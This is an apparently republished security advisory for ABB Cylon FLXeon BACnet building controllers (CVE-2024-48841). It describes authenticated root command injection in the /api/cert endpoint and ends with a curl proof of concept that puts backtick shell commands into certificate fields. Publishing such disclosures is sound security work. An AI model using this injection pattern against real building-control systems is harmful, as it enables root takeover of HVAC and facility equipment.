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ABB Cylon FLXeon 9.3.4 (cert.js) Authenticated Root Remote Code Execution

🗓️ 03 Feb 2025 00:00:00Reported by Gjoko KrsticType 
zeroscience
 zeroscience
🔗 www.zeroscience.mk👁 294 Views

ABB Cylon FLXeon 9.3.4 suffers from remote code execution due to improper input validation in cert.js.

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<html><body><p>ABB Cylon FLXeon 9.3.4 (cert.js) Authenticated Root Remote Code Execution


Vendor: ABB Ltd.
Product web page: https://www.global.abb                   
Affected version: FLXeon Series (FBXi Series, FBTi Series, FBVi Series)
                  CBX Series (FLX Series)
                  CBT Series
                  CBV Series
                  Firmware: &lt;=9.3.4

Summary: BACnet® Smart Building Controllers. ABB's BACnet portfolio features a
series of BACnet® IP and BACnet MS/TP field controllers for ASPECT® and INTEGRA™
building management solutions. ABB BACnet controllers are designed for intelligent
control of HVAC equipment such as central plant, boilers, chillers, cooling towers,
heat pump systems, air handling units (constant volume, variable air volume, and
multi-zone), rooftop units, electrical systems such as lighting control, variable
frequency drives and metering.

The FLXeon Controller Series uses BACnet/IP standards to deliver unprecedented
connectivity and open integration for your building automation systems. It's scalable,
and modular, allowing you to control a diverse range of HVAC functions.

Desc: The ABB Cylon FLXeon BACnet controller is vulnerable to authenticated remote
root code execution via the /api/cert endpoint. An attacker with valid credentials
can inject arbitrary system commands by manipulating the affected parameters. The
issue arises due to improper input validation in cert.js, where user-supplied data
is executed via ChildProcess.exec() without adequate sanitization.

Tested on: Linux Kernel 5.4.27
           Linux Kernel 4.15.13
           NodeJS/8.4.0
           Express


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            @zeroscience


Advisory ID: ZSL-2025-5911
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2025-5911.php
CVE ID: CVE-2024-48841
CVE URL: https://www.cve.org/CVERecord?id=CVE-2024-48841


21.04.2024

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$ curl -k -X PUT "https://7.3.3.1/api/cert" \
&gt; -H "Cookie: user_sid=xxx" \
&gt; -H "Content-Type: application/json" \
&gt; -d '{"certType":"cert","cert":{\
&gt; "commonName":"`sleep 18`",\
&gt; "country":"`sleep 18`",\
&gt; "state":"`sleep 18`",\
&gt; "city":"Dublin`sleep 18`",\
&gt; "organization":"Cylon Controls`sleep 18`",\
&gt; "organizationUnit":"`sleep 18`",\
&gt; "email":"[email protected]"}}'
</p></body></html>

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03 Feb 2025 00:00Current
7.8High risk
Vulners AI Score7.8
CVSS 410
CVSS 3.110
EPSS0.06246
SSVC
294